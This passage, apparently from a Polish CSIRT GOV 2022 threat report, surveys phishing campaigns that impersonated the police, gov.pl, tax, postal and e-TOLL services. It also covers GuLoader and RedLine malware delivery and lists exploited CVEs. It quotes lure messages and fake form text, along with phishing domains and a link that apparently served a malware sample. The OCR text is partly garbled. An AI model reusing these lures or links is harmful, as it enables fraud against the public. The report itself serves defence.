go oprogramowania, a takze uzyskania dostepu do systemow informatycznych, umozliwiajgcego
realizacje dalszych dziatan cyberprzestepczych.

W powyzszym zakresie na wyrdznienie zastuguja kampanie polegajace na dystrybucji wia-
domosci, w ktorych atakujacy wykorzystywali wizerunek rozpoznawalnych podmiotow, m.in. ko-
operantow, powszechnie znanych instytuciji i przedsigbiorstw, korespondencje stuzbowg, czy tez
wczesniej skompromitowane konta poczty elektroniczne;.

Ponizej przedstawiono przyktad kampanii wykorzystujgcej podszycie pod EUROPOL,
INTERPOL oraz Centralne Biuro Zwalczania Cyberprzestepczosci Komendy Gtownej Policji. Wiado-
mosci naktaniaty do niezwtocznej odpowiedzi na zataczone pisma, a brak reakcji miat skutkowac
zatrzymaniem adresata pod rzekomym pozorem popetnienia przezen przestepstwa. Kampanie te
dystrybuowane byty za posrednictwem poczty elektronicznej z réznych adresow mailowych, zwy-
kle w domenie gmail.com. Prawdopodobnym celem byto sprawdzenie responsywnosci odbiorcow,
a nastepnie wytudzenie srodkow finansowych lub danych osobowych.

Od CBZC POLICJA <13.cbzc.policja.gov.pl@gmail.com> @
Temat [ BEZPOSREDNIE OSKARZENIE

Prosimy o zapoznanie sie z faktami, o ktére jestescie oskarzeni.

Jesli tego nie zrobisz, bedziemy zobowigzani do nieodwotalnego aresztowania Cie.
Adam CIESLAK — Komendant Centralnego Biura Zwalczania Cyberprzestepczosci




Od CENTRALNY DYREKCJA POLIC)I <dg.gn.bm@gmail.com> @
Temat Zwolywanie (Sprawa Nr 00333214) 24.05.2022, 17:30

Dzien dobry

Przychodzimy przez e-mail przekazuje Ci swoje wezwanie do sadu. Prosimy o zapoznanie sie z
zataczonym dokumentem i udzielenie odpowiedzi na zarzuty w najkrétszym mozliwym terminie

GEN. INSP. JAROSLAW SZYMCZYK
KOMENDANT GLOWNY POLICJI

CENTRALNA DYREKCJA POLICJI
ADRES: BUDYNEK ,,S” DYREKCJI HTS, UJASTEK 1 KRAKOW

> [ 1zatacznik: Zwotywanie (Sprawa Nr 00333214).jpg 901 KB

Ponadto CSIRT GOV identyfikowat proceder polegajgcy na rejestracji domen o nazwach
przypominajacych nazwy oficjalnych witryn rzgdowych, wskazujacy na mozliwos¢ ich potencjal-
nego wykorzystania w dziataniach socjotechnicznych (phishing, dezinformacja).

Przyktadami tego typu dziatan byty rozpoznane przypadki aktywnosci stron internetowych
wykorzystujgcych wizerunek i szate graficzng domen administracji publicznej. Za pomocg tego
typu podstawionych witryn cyberprzestepcy podejmowali proby pozyskiwania danych osobowych
czy tez danych uwierzytelniajacych (m. in. do skrzynek poczty elektronicznej czy bankowosci in-
ternetowej). Zidentyfikowano rowniez kampanie dotyczace pandemii COVID-19 i zwigzanej z nig
powszechnej kampanii szczepien, wykorzystujgce motyw zachet finansowych, czy rygoréw po-
rzadkowych (np. przymusowe doprowadzenie przez policje).




httpsi//govipl-wsparcie.eu

gov. pl Zasoby dotyczgce COVID-19  Darmowe szczepienie o o

Odbierz 300 zi za szczepienie od Prezydenta Andrzeja Dudy

Zaszczep sie — Zaloguj sie do BankID — 12 stycznia Polska oficjalnie uruchomifa
program ,Wsparcie’, ktory przewiduje
wyplate 300 zi wszystiim Polakom w
pelni fonym maclwke

administrac 767 Internet

Gdzie sig zaszczepic? Zaloguj sie przez BankID

Innym przyktadem byta kampania podszywajaca sie pod strong administracji podatkowej.
Fatszywa strona przypominata swojg szatg graficzng strone umozliwiajgcg rozliczenie podatku
PIT. Strona ta naktaniata uzytkownika do podania danych logowania w celu zwrotu nadptaty po-

datku.
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gov.pl Senwis Rzeczypospolite] Polskiej Q szukaj ustugl, Informacji SZUKAJ
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Rada Ministréw Finansow
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Kancelaria Premiera
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i placowki RP

£ st dla oyt Wsparcie dla kredytobiorcéw

53 Uslugl dla przedsiebiorcy

B Uslugi dla urzednika " Zobacz Tweety
& Uslugi dla rolnika
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[ Minsterstwo Finanséw - Portal ¢ X | 4=

gov.pl I Serwls Rzeczypospolite] Polskief Q  szukaj ustugl, informagji SZUKAJ

1MIg | NAZWISKO ~
Strona géwna |
Rada Ministréw

PESEL *

Kancelaria Premiera (
| ooooooooo

Adres zamieszkania *
Urzedy, instytucje =
i placowki RP |

Miejsce pracy
[

Numer telefonu *

2 Uslugl dla obywatela
& Uslugi dla przedsiebiorcy

2 Ustugi dla urzednika

| +48 (000) 000 000
& Uslugi dia roinika \

Nazwa banku, do ktérego
otrzymywane jest wynagrodzenie *
Koronawirus: informacje
| zalecenia

Zalb2 Profil zaufany Liczba matych dzieci (poniiej 14 lat) w

Formularz wypetniony pomysinie

Czekaj na dalsze i kcje w postaci wiad $ci e-mail lub SMS




Informacje o powyzej prezentowanej kampanii phishingowej Zespot CSIRT GOV uzyskat od
Zespotu CSIRT KNF, ktary zidentyfikowat rowniez fatszywe domeny podszywajace sie pod Minister-
stwo Finansow oraz strony bankowosci mobilnej, takie jak iPKO. Wykryte domeny byty tworzone
w charakterystyczny sposab, tj.:

= hxxps://mingovplgobr([.]Jokarak[.]ml/?tranzakt59219

= hxxps://mingovplgaif[.]Jvostwohncrim[.Jml/?tranzakt59219
= hxxps://mingovplobnw[.]tupixmoupo[.]ml/?tranzakt59219
= hxxps://mingovplkpkx[.]dioturnpestsi.Jml/?tranzakt59219

Zespot CSIRT GOV odnotowat w 2022 roku rowniez liczne kampanie socjotechniczne wyko-
rzystujagce domeny podszywajace sie pod strony internetowe Poczty Polskiej S.A. badz innych zna-
nych operatoréw pocztowo-kurierskich. Kampanie te zachecaty do odbioru nagrody, uregulowania
ptatnosci za przesytke, jej ubezpieczenie lub wystawiaty ofierze fatszywe panele logowania w celu
wykradania danych uwierzytelniajgcych, a czesto na koncowym etapie pozbawiaty ofiary srodkow
pienieznych z kont bankowosci elektroniczne;.

https://liragal.info/blog, -usluga-pocztex-od-poczty-polskigj-na-fi pl/7utm_campaign=ywvBS

Gratulujemy, udato nam sie
zweryfikowa¢ Twojg odpowiedz.
Pazdziemik 31, 2022

Masz szansg wygrac zestaw polskich produkiow pocztawych. Sprobuj
szczescial

Pozostaly 2| nagrody

Fatszywe strony internetowe wystepowaty rowniez w kampaniach wykazujgcych podszy-
cia pod firmy kurierskie, jedng z popularnych kampanii jest podszycie pod DHL.



W ramach kampanii tego rodzaju dystrybuowano m. in. wiadomosci e-mail z adresu
it[(@]scalewayb.hipstertrader.com o temacie ,DHL Shipment Notification : 4609916441". W zatacz-
niku wiadomosci znajdowat sig plik HTML z fatszywym formularzem logowania do ustug DHL, wy-
tudzajacym w rzeczywistosci dane oraz ptatnosci. Wiadomosci e-mail o podobnym charakterze
dystrybuowaty takze pliki wykazujace znamiona oprogramowania ztosliwego, w tym malware typu
kon trojanski.

Ponadto Zespot CSIRT GOV identyfikowat domeny podszywajace si¢ nazwa pod e-ustugi
rzadowe, ktdre byty rejestrowane jako np. gov-pl[.Jtop, govpl[]site. Celem tych kampanii byto pozy-
skanie danych uzytkownikow portali rzadowych. Przedmiotowe strony te byty kopig autentycznych
domen rzadowych i tym samym mogty wprowadzac¢ w btad uzytkownikow.

Jedna z kampanii phishingowych opierata si¢ na podszywaniu sie¢ pod oficjalny serwis
gov.pl, przy wykorzystaniu info-gov[.]pl, info-gov[.Jinfo oraz info-gov[.Jcom. Strona wytudzata in-
formacje dotyczace uprawnien do kierowania pojazdami, tj. seria, numer blankietu prawa jazdy
lub numeru druku z pozwoleniem na kierowanie tramwajem pod pozorem ustugi sprawdzenia
posiadanych uprawnien kierowcy.




= gg Info-gov|  sewis Reeczypospolitej Polskiej

Sprawdz uprawnienia kierowcy

Mozesz sprawdzi¢ dane, ktére gromadzimy w Centralnej Ewidencji Kierowcéw (CEK).
Zobaczysz na przyktad, jakie uprawnienia do kierowania pojazdami sa na dokumencie wraz z
terminem ich waznosci, jak réwniez sprawdzisz stan dokumentu m.in. czy nie zostat zatrzymany.

Wpisz dane, ktére znajduja sie na prawie jazdy SraledskcuowaEhne
lub pozwoleniu na kierowanie tramwajem

Whpisz serig i numer blankietu z prawa jazdy lub serie i numer druku z pozwolenia na kierowanie tramwajem *

Zobacz, gdzie na prawie jazdy znajdziesz serie i numer blankietu.
Zobacz, gdzie na pozwoleniu na kierowanie tramwajem znajdziesz serie i numer druku.

SPRAWDZ UPRAWNIENIA

Stan na dzien: 17.02.22

To data ostatniej aktualizacji danych w ustudze. Dane s3 aktualizowane codziennie okoto godziny
6.00 i pokazuja stan Twoich danych z ewidencji z poprzedniego dnia.

Unia Europejska

o UWAGA! Jezeli prezentowane dane s3 bledne lub ustuga nie prezentuje danych, uprzejmie prosimy o dokonanie zgtoszenia rozbieznosci

pod adresem

Prawo Jazdy, the Wyszukiwanie Prawa Jazdy Online theme for government.

Fundusze Rzec:pospolita Unia Europejska
olska

Europejskie Europejski Fundusz
Polska Wschodnia - P Rozwoju Reglonalnego




Pozwoleniu na
kierowanie
tramwajem znajdziesz
serie i numer druku

_) Seria A Nr 0000001

Stan na dzieri: 17.02.22

To data ostatniej aktualizacji danych w ustudze. Dane sa aktualizowane codziennie okoto godziny
6.00 i pokazuja stan Twoich danych z ewidencji z poprzedniego dnia.

o UWAGA! Jezeli prezentowane dane sg bledne lub ustuga nie prezentuje danych, uprzejmie prosimy o dokonanie zgtoszenia rozbieznosci
pod adresem

Prawo Jazdy, the Wyszukiwanie Prawa Jazdy Online theme for government.

Europerekie gaegpossouea e re [
possarscrotis T By e




Kolejng domeng podszywajaca sie pod serwis umozliwiajgcy weryfikacje informacji o pra-
wie jazdy byta domena driverlicense[.]pl, zidentyfikowana w kwietniu 2022 r. Strona miata na celu
wytudzenie danych ofiary.

© #& driverlicense.pl

Strona Gldéwna

Prawo Jazdy

Wyszukiwanie Prawa Jazdy Online

Strona Gléwna

Skorzystaj z formularza, aby uzyska¢ informacje o prawie jazdy.

Mozna wprowadzi¢ numer prawa jazdy UE, aby uzyskac informacje dotyczace aktualnego statusu prawa jazdy. Jesli licencja
zostanie zawieszona, zostang wyswietlone wszystkie nierozwigzane problemy.

i pwpw System pokazuje tylko sprawy, ktdre sg w trakcie realizacji. Jesli odebrali Parnistwo dokument z urzedu, sprawa dotyczaca
A Qs wvTaoe odebranego dokumentu zniknie z portalu.

We wrzesniu 2022 roku pojawita sig kampania wykorzystujgca wizerunek Ministerstwa
Rozwoju i Technologii. Na skrzynki pocztowe wysytane byty wiadomosci, w ktorych nadawca pod-
szywat sie pod adres administrator[@]biznes.gov.pl. Wiadomos¢ dystrybuowata ztosliwe opro-
gramowanie poprzez archiwum RAR, w ktorym zostat umieszczony ztosliwy skrypt Visual Basic
0 nazwie ,Biznes.gov.pl - NOWE POWIADOMIENIEvbs”. Zaréwno nazwa zatgcznika, jak i wyglad
wiadomosci miaty na celu uzyskac jak najwigksza wiarygodnosc i zachecic uzytkownika do otwar-
cia zatgcznika. W wyniku uruchomienia pliku VBS nastepowata infekcja ztosliwym oprogramowa-
niem GulLoader.

Kolejne odstony tej kampanii dystrybuowaty plik EXE w archiwum RAR, réwniez infekujacy
zaatakowang stacje oprogramowaniem GuLoader, ktdry stuzyt nastepnie do pobrania kolejnego
malware-u. Zwykle nastepnym etapem infekcji byto wykorzystanie ztosliwego oprogramowania
AgentTesla, Vidar, Formbook czy LokiBot. Kampania miata kolejne odstony w dalszych miesigcach.



d Administrator biznes.gov.pl <administrator@biznes.gov.pl> &

nat Biznes.gov.pl - NOWE POWIADOMIENIE

4 Biznes.gov.pl

Serwis informacyjno-ustugowy dla przedsigbiorcy

Drogi Uzytkownikul

Zalacz to nowe oficjalne zawiadomienie elektroniczne Biznes.gov.pl.

Powiadomienie bedzie dostepne pod Twoim autoryzowanym adresem elektronicznym od
11-10-2022 do 11-29-2022. Jezeli nie przystapisz do jej lektury we wskazanym terminie,
wywotane zostang odpowiednie skutki, zgodnie z obowigzujgcymi przepisami. [ art. 46
Kodeksu postepowania administracyjnego ]

Wiadomos¢ zostata wygenerowana automatycznie przez serwis biznes gov.pl (prosimy
na te wiadomosé nie odpowiadac).

Pozdrawiamy,
Zespot Biznes.gov.pl

> @ 1 zalgcznik: NOWE POWIADOMIENIE.rar 402 KE

W pazdzierniku 2022 roku miata miejsce kampania phishingowa podszywajaca sie pod
portal gov.pl. Strona phishingowa byta zarejestrowana w domenie govpl[.]net, a opublikowane na
niej tresci dotyczyty fikcyjnej pomocy dla obcokrajowcow chcacych zamieszkac na terenie Polski.
Wyglad strony tudzaco przypominat portal gov.pl. Serwis prowadzony byt w jezyku rosyjskim,
a w grafice zastosowano godto Polski.
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W grudniu 2022 roku zidentyfikowano takze odstony kampanii phishingowej podszywajgcej
sie pod system e-TOLL - system stuzacy do poboru optat za ustugi na ptatnych odcinkach drdg
w Polsce. Ujawniono domene e-tollgov[.]pl dziatajacg na urzadzeniach mobilnych, a takze domene
etollgov[.]com.pl, podszywajaca sie pod strong systemu. Nazwy obu domen byty tudzaco podobne
do wtasciwej strony systemu e-TOLL - etoll.gov[.]Jpl. Kampania miata na celu wytudzenie srodkow
finansowych oraz danych potrzebnych do zalogowania sie do systemu. W ostatniej odstonie uzyt-
kownicy systemu e-Toll otrzymywali wiadomosci z probg wytudzenia, przesytane jako wiadomosci
SMS.

,Dnia xx.xx.xxxx na odcinku xxx nie zostata uiszczona optata, prosze
o uregulowanie ptatnosci 5zt ”

W wiadomosci znajdowat sie rowniez odnosnik do strony e-tollgov[.]pl. Stosowny komu-
nikat CSIRT KNF informujacy o incydencie zostat zamieszczony na stronach rzadowych Serwisu
Rzeczypospolitej Polskiej.

4] i + @ O O @ etoligovpl/pay + OO & etoligovpl/bil + @ O

EJe-ToLL B e-toligov.pl/| EJeoL | P“:‘ EJeTor ? |

Login i hasto Prosze powigza¢ numer Szczeg6ty ptatnosci
karty ptatniczej

Aby potwierdzi¢ swojg tozsamose, wpisz dane. Informacje o ptatnosci
Login * imie | nazwisko na karcie *

Na 2adanle e TOLLPL

Karta kredytowa *

Zapomniates hasta? Wygainiecie karty(MM/YY) * oz e
Kwota PLN

Zaloguj sig Placi¢ PLN

Wazystide wymagane pola *
Wyczy$t dane

ohy
Nie masz konta? Zarejestruj sie WA . Shy @ ey

BT
Finansow

Ministerstwo

Finansow

Ministerstwo podatki.gov.pl

Zrédto: https://www.gov.pl/web/baza-wiedzy/csirt-knf-ostrzega-przed-strona-podszywajaca-
-sie-pod-witryne-systemu-e-toll



Wsrod aktywnosci cyberprzestepczej odnotowanej w 2022 roku Zespot CSIRT GOV zidenty-
fikowat takze kampanie dystrybuujgcg malware o nazwie RedLine Stealer. Jest to przyktad opro-
gramowania Maa$ (Malware as a Service). Po wykupieniu licencji uzytkownik uzyskiwat dostep
do infrastruktury oraz wsparcie ze strony administratorow, mogac prowadzi¢ kampanie socjo-
techniczne bez potrzeby tworzenia autorskiego oprogramowania ztosliwego. RedLine znany jest
od 2020 roku, a celem jego wykorzystania jest wykradanie danych ofiar, np. informacji o stacji ro-
boczej i zainstalowanym oprogramowaniu czy haset i plikdw cookie z przegladarek. Wykradzione
dane czesto oferowane sg nastepnie na rynkach darknetowych do pobrania bezptatnie lub odptat-
nie za posrednictwem transakcji z wykorzystaniem Bitcoin, Ethereum czy innej kryptowaluty.

W lipcu 2022 roku Zespdt CSIRT GOV odnotowat kampanie phishingowa, ktdra dystrybu-
owata RedLine za posrednictwem ustugi OneDrive. Wiadomosci wysytane z adreséw w domenie
@hotmail.com oraz @outlook.com zawieraty w tresci jedynie odnosnik do chmury OneDrive, pod
ktorym dostepne byto archiwum ZIP. Wewnatrz pobieranego pliku najdowato sie zabezpieczone
hastem archiwum RAR oraz plik TXT, zawierajgcy hasto do archiwum. Po rozpakowaniu pliku RAR,
ktorego rozmiar wynosit 5 MB, uzyskiwany byt ostatecznie plik "Document.pdf.scr” o wielkosci 700
MB, bedacy ztosliwym oprogramowaniem RedLine Stealer.

d beret) <gorskyelizabeth879@outlook.com> 24.07.2022. 15:31

t =2UTF-82Q?=EF=BB=BF?=

https://1drv.ms/u/s!AtetXol5t3qvboRg-UOB4GsBfEw

W przedmiotowej kampanii wykorzystano kilka sposobow na unikniecie wykrycia przez
silniki antywirusowe. Przede wszystkim pliki dystrybuowane byty przez odnosniki w tresci wiado-
mosci a nie jako zatgczniki. Jednoczesnie hostowane byty w powszechnie wykorzystywanej chmu-
rze, co utrudnia filtrowanie takich wiadomosci przez rozwigzania chronigce poczte elektroniczna.
Ciekawsze jednak jest to, ze plik, ktéry mozna byto skompresowac do 5 MB, ostatecznie miat roz-
miar az 700 MB. Warty odnotowania jest tutaj fakt, ze wiele Srodowisk sandbox, pozwalajacych na
bezpieczng analize potencjalnie ztosliwych plikow, ma ograniczenie rozmiaru analizowanego pliku
do kilkuset MB, a wiec im wiekszy rozmiar ztosliwego pliku, tym wieksza pewnos¢, ze nie bedzie
mozliwy do przeanalizowania w taki sposob. RedLine Stealer jest wiec przyktadem ztosliwego
oprogramowania typu "swollen file” lub "bloated file”, czyli pliku, ktérego znaczna czes¢ tworzona
jest przez tzw. biate znaki, ktdre nie zmieniajg jego dziatania, a jedynie sztucznie powiekszajg jego
rozmiar.




& Dysk Google - ostrzeze: X =+

— =z O | ﬁ drive.google.com/uc?id=18Ujo0I15b2b2cWhvFIrC4y vxv

Dysk Google wykryt problemy z pobieraniem

Google nie moze przeskanowac tego pliku w poszukiwaniu wirusow, bo jest on
za duzy.

To jest plik wykonywalny, ktory moZe uszkodzi¢ komputer.

Document pdf.scr (700M)

We wrzesniu 2022 odnotowano takze incydent zwigzany z kompromitacjg strony
efaktura.gov.pl oraz umieszczeniem w wyniku ataku niewtasciwych tresci na poszczegélnych pod-
stronach. Na jednej z nich znajdowato sie uzasadnienie ataku grupy haktywistycznej powigzanej
z Indonezja.

afaktura.gov.pl

WhoOps! - Stoupid!

= Hellow Goverment Polandial =

pid you know about the issue in Indonesia related to the hacking carried out by Bjorkanism?.
To the Polandia Government please for the existence of Bjorka is he Polandia?
If Bjorka's presence is in Poland & what is the intent and purpose of hacking Indonesian state documentation and
distributing
it publicly in open forums?l

t.mo/sroupidback

#IndonosiaffackersfRules

WhoOps! - Stoupid = Mo'Sl0vvy - ./FellGans - ZTakSeclés - Atenggd??

Il 0:09/529 =




Po identyfikacji tego rodzaju zagrozen CSIRT GOV podejmowat dziatania polegajace na
zgtaszaniu podszywajacych sie stron naruszajacych cyberbezpieczenstwo administracji rzadowe;
do odpowiednich zespotow ABUSE.

2.3. Podatnosci, jakie wystapity w 2022 roku w obszarze dziata-
nia CSIRT GOV

Wsrad licznych podatnosci wykrytych w roku 2022 Zespét CSIRT GOV w szczegdlnosci dys-
trybuowat ostrzezenia i rekomendacje o podatnosciach, ktdre byty wykorzystywane w ramach
rozpoznanych kampanii czy cyberatakow. Ponizej zaprezentowano, w podziale na poszczegélne
miesigce podatnosci, ktdre zostaty sklasyfikowane jako istotne z punktu widzenia bezpieczenstwa
infrastruktury teleinformatycznej. Wiele z tych podatnosci dotyczyto srodowiska poczty elektro-
nicznej Microsoft Exchange, Zimbra, Srodowiska wirtualizacyjnego VMware czy urzadzen Fortinet
odpowiedzialnych za zapewnienie bezpieczenstwa w dostepie do infrastruktury podmiotow, np.
VPN. Zauwazalne byto takze pojawianie sig podatnosci dotyczacych bibliotek w starszych wer-
sjach oprogramowania, ktore czesto nie sg aktualizowane przez producentdéw. Ponizej przedsta-
wiono zestawienie najistotniejszych podatnosci.

Styczen

= CVE-2021-44228: Apache Log4j - atak Log4Shell pozwala nieuwierzytelnionemu
uzytkownikowi na zdalne wykonanie kodu (RCE) w dowolnej aplikacji wykorzystujacej
Apache Log4j w wersjach 2.0-beta9 -2.15.0;

= CVE-2018-13379: wersje Fortinet FortiOS - podatnos¢ pozwala nieautoryzowanym
uzytkownikom pobrac poprzez zapytanie HTTP pliki systemowe;

= CVE-2019-1653: routery Cisco Small Business RV320 i RV325 Dual Gigabit WAN VPN
- podatnosc¢ pozwalajaca pobrac konfiguracje routera lub informacje diagnostyczne;

= CVE-2019-2725: wersje Oracle WebLogic Server - podatnos¢ pozwalajaca na zdalne
wykonanie skryptu z pominieciem autoryzacji;

= CVE-2019-7609: wersje Kibana - podatnos¢ pozwalajaca uzytkownikowi z dostepem
do aplikacji Timelion wykonywac skrypty Java z uprawnieniami procesu Kibany w sys-
temie hosta;




= CVE-2019-9670: wersje Synacor Zimbra Collaboration Suite - podatnos¢ komponentu
mailboxd typu XML External Entity injection (XXE) pozwalajaca atakujacemu na wyko-
nanie dowolnego polecenia na hoscie;

= CVE-2019-10149: wersje Exim Mail Transfer Agent (MTA) - podatnos¢ umozliwia zdal-
ne wykonanie kodu poprzez niewtasciwg walidacje adresu odbiorcy;

= CVE-2019-11510: wersje Pulse Connect Secure (PCS) - aplikacje PulseSecure sg po-
datne na atak Directory Traversal, ktory moze zosta¢ wykorzystany przez adwersarza/
atakujgcego do uzyskania dostepu do plikow i katalogow poza wtasciwym folderem
webaplikacji;

= CVE-2019-19781: wersje Citrix Application Delivery Controller (NetScaler ADC) i Citrix
Gateway (NetScaler Gateway) - aplikacje s podatne na atak Directory Traversal, ktory
moze by¢ wykorzystany przez atakujacego do uzyskania dostepu do plikow i katalogow
poza wtasciwym folderem webaplikacji;

= CVE-2020-0688: Microsoft Exchange - podatnos¢ pozwala na zdalne wykonanie
kodu poprzez wykorzystanie btedu podczas obstugi obiektow w pamieci, tzw. ,Microsoft
Exchange Memory Corruption Vulnerability”;

= CVE-2020-4006: VMware Workspace One Access, Access Connector, Identity Mana-
ger i Identity Manager Connector - podatnos¢ pozwala atakujgcemu w okreslonych
warunkach dostepu na wykonywanie polecen z nieograniczonymi uprawnieniami
w systemie operacyjnym,;

= CVE-2020-5902: wersje F5 BIG-IP - podatnos¢ umozliwia wykonanie dowolnych po-
lecen systemowych, tworzenie lub usunigcie plikdw, a takze wytgczenie ustug na po-
datnym urzadzeniu;

= CVE-2020-14882: wersje Oracle WebLogic Server - podatno$¢ pozwalajgca nieuwie-
rzytelnionemu atakujgcemu poprzez protokdt HTTP na przejecie kontroli nad Oracle
WebLogic Server;

= CVE-2021-26855: Microsoft Exchange Server - podatnosc¢ ProxyLogon, pozwalajaca
atakujagcemu na ominiecie uwierzytelnienia i zdalne wykonanie kodu;



Luty

= CVE-2021-4034: LINUX POLKIT - podatno$¢ w narzedziu pkexec pozwalajaca na
eskalacje uprawnien uzytkownika;

= CVE-2022-24349: Zabbix - podatnos¢ pozwalajaca uwierzytelnionemu uzytkowniko-
wi utworzyc link z zaszytym skryptem XSS i przesta¢ go innemu uzytkownikowi. Zto-
$liwy kod ma dostep do tych samych obiektdw co reszta strony internetowej i moze
dokonywac dowolnych modyfikacji zawartosci strony wyswietlanej ofierze;

Marzec

= CVE-2022-24682: wersje Zimbra Collaboration Suite - podatnosc¢ XSS pozwalajaca
napastnikom na uruchomienie dowolnego skryptu JavaScript w kontekscie sesji Zim-
bry, co pozwala na kradziez tresci wiadomosci, zatgcznikow i ciasteczek;

= CVE-2017-8570: Microsoft Office - podatnos¢ pozwalajgca na zdalne wykonanie kodu;

= CVE-2017-0222: Microsoft Internet Explorer - podatnos¢ pozwalajgca na zdalne wy-
konanie kodu;

= CVE-2014-6352: Microsoft Windows Vista SP2, Windows Server 2008 SP2 i R2 SP1,
Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold i R2 oraz Windows
RT Gold i 8.1 - podatno$¢ pozwalajgca na wykonywanie kodu za pomoca odpowiednio
spreparowanego obiektu OLE;

Kwiecien

= CVE-2022-22965: Spring MVC i Spring WebFlux - podatnos¢ umozliwiajaca zdalne
wykonanie kodu;

= CVE-2018-6882: Zimbra Collaboration Suite (ZCS) - podatnosc¢ typu cross-site
scripting (XSS) umozliwiajgca wstrzyknigcie dowolnego skryptu poprzez nagtdwek
Content-Location w zataczniku do wiadomosci e-mail;




Maj

= CVE-2021-44051: QNAP NAS z systemem QuTScloud, QuTS hero i QTS - podatnosé
pozwala na zdalne wykonywanie polecen;

= CVE-2022-29379: Nginx NJS v0.7.3 - podatnos¢ pozwala na przepetnienie stosu
w funkcji njs_default_module_loader w pliku /src/njs/src/njs_module.c;

= CVE-2022-30190: Microsoft Windows Support Diagnostic Tool (MSDT) - podatnosc po-
zwala na zdalne wykonywanie kodu;

= CVE-2022-20821: Health Check RPM w Cisco 10S XR - podatnosc pozwala napastni-
kowi na zapisywanie danych do bazy Redis w pamigci, zapisywanie dowolnych plikdw
w systemie plikow kontenera oraz pobieranie informacji o bazie danych Redis;

Czerwiec

= CVE-2022-30128: Microsoft Edge - podatno$¢ pozwalajgca na podnoszenie upraw-
nien;
= CVE-2022-22021: Microsoft Edge - podatnos¢ pozwalajgca na zdalne wykonywanie
kodu;

= CVE-2022-1680: wersje GitLab EE - podatnosc, przy braku 2FA, pozwalajgca na prze-
jecie konta uzytkownika;

= CVE-2022-26134: wersje Atlassian Confluence Server oraz Confluence Data Center -
podatnos¢ pozwala na wykonanie dowolnego kodu na instancji Confluence Server lub
Data Center,

= CVE-2022-0492: Red Hat - podatnos¢ w funkcji systemowej w jadrze Linux pozwala
na eskalacje uprawnien oraz obejscie izolacji przestrzeni nazw;

= CVE-2022-22784: wersje Zoom Client for Meetings - podatnos¢ wykorzystujaca
btedne przetwarzanie XML w wiadomos$ciach XMPP. Podatnos¢ moze zosta¢ wykorzy-
stana w celu sfatszowania wiadomosci XMPP z serwera;

= CVE-2022-32158: wersje serwerowe Splunk Enterprise - podatnos¢ umozliwiajaca
atakujacemu na wykonanie dowolnego kodu;



Lipiec

= CVE-2022-23131: Zabbix - podatnos¢ umozliwiajaca eskalacje uprawnien i przejecie
konta administratora poprzez wykorzystanie uwierzytelniania SAML SSO;

= CVE-2022-20813: Cisco Expressway Series, Cisco TelePresence Video Communica-
tion Server (VCS) - podatnos¢ umozliwiajgca nadpisanie dowolnych plikow oraz atak
typu null byte poisoning;

= CVE-2022-31626: wersje PHP - podatnos¢ umozliwiajgca zdalne wykonanie kodu po-
przez btedng obstuge zbyt dtugich haset wywotujaca przepetnienie bufora;

= CVE-2021-22048: Vmware vCenter Server - podatno$¢ umozliwiajgca eskalacje
uprawnien poprzez btagd w mechanizmie uwierzytelnienia IWA (Integrated Windows
Authentication);

Sierpien

= CVE-2022-0028: Palo Alto Networks - podatnos$¢ umozliwiajgca wykorzystanie bted-
nej konfiguracji firewalla do przeprowadzenia odbitych i wzmocnionych atakéw TCP
denial-of-service (RDoS) przeciwko celowi okreslonemu przez atakujgcegpo;

= CVE-2022-20816: CISCO Unified CM i CISCO Unified CM SME - podatnos¢ umozliwiaja-
ca uwierzytelnionemu zdalnemu napastnikowi na usuniecie dowolnych plikow z zaata-
kowanego systemu poprzez btedng obstuge zapytan HTTP;

Wrzesien

= CVE-2022-2884: wersje GitLab CE/EE - podatnos¢ umozliwiajgca uwierzytelnionemu
uzytkownikowi na zdalne wykonywanie kodu;

= CVE-2022-20823: CISCO NX-0S- podatnosc pozwala na wykonanie ataku DoS na po-
datne urzadzenie;

= CVE-2022-32250: jadro Linux do wersji 5.18.1 - podatnos¢ pozwala na eskalacje
uprawnien do poziomu root;




Pazdziernik

= CVE-2022-41082: Microsoft Exchange Server - podatno$¢ umozliwiajaca zdalne wy-
konywanie kodu przez uwierzytelnionego uzytkownika;

= CVE-2022-41040: Microsoft Exchange Server - podatnos¢ umozliwiajaca podnosze-
nie uprawnien uzytkownika;

= CVE-2022-35405: wersje Zoho ManageEngine Password Manager Pro - podatnosé
umozliwiajgca zdalne wykonywanie kodu;

= CVE-2022-41352: wersje Zimbra Collaboration (ZCS) - podatnos$¢ umozliwiajgca
wgranie dowolnych plikow powodujac nieprawidtowy dostep do kont uzytkownikdw;

= CVE-2022-40684: wersje Fortinet FortiOS oraz FortiSwitchManager - podatnosé
umozliwiajgca ominiecie mechanizmu uwierzytelniania i wykonywanie operacji na in-
terfejsie administracyjnym poprzez specjalnie spreparowane zadania HTTP lub HTTPS;,

= CVE-2022-40304: wersje biblioteki Libxml2 - podatnos¢ skutkujgca odmowag ustugi
(Denial of Service) aplikacji powigzanej z biblioteka Libxml2;

= CVE-2022-31678: VMware Cloud Foundation (NSX-V) - podatno$¢ XML External Entity
(XXE) skutkujgca odmowa ustugi (Denial of Service) lub niezamierzonym ujawnieniem
informacji,

Listopad

= CVE-2022-3786: OpenSSL - podatno$¢ powodujgca przepetnienie bufora podczas
weryfikacji ograniczen nazw certyfikatow X.509, a w rezultacie skutkujaca odmowa
ustugi (Denial of Service);

= CVE-2022-41120: Microsoft Windows Sysmon - podatno$¢ umozliwiajgca podnosze-
nie uprawnien uzytkownika;

= CVE-2022-27510: Citrix Gateway i Citrix ADC- podatno$¢ umozliwiajgca zdalny, nie-
autoryzowany dostep do podatnego systemu;



Grudzien

= CVE-2022-20968: Cisco Discovery Protocol w oprogramowaniu sprzetowym telefo-
now Cisco IP Phone serii 7800 i 8800 - podatnos$¢ umozliwiajaca zdalne wykonanie
kodu lub skutkujgca odmowa ustugi (Denial of Service) poprzez wywotanie przepetnie-
nia stosu;

= CVE-2022-31705: Vmware ESXi, Workstation i Fusion - podatno$¢ umozliwiajgca wy-
konanie kodu na hoscie wirtualnej maszyny, przy wykorzystaniu luki kontrolera USB
2.0 (EHCI);

= CVE-2022-27518: Citrix ADC i Citrix Gateway - podatno$¢ umozliwiajgca zdalne wy-
konanie kodu nieautoryzowanemu uzytkownikowi;

= CVE-2022-41080: Microsoft Exchange Server - podatnos¢ umozliwiajaca podnosze-
nie uprawnien uzytkownika;

= CVE-2022-41082: Microsoft Exchange Server - podatno$¢ umozliwiajaca zdalne wy-
konanie kodu.

Jedna z podatnosci szczegalnie istotnych dla bezpieczenstwa podmiotow krajowego sys-
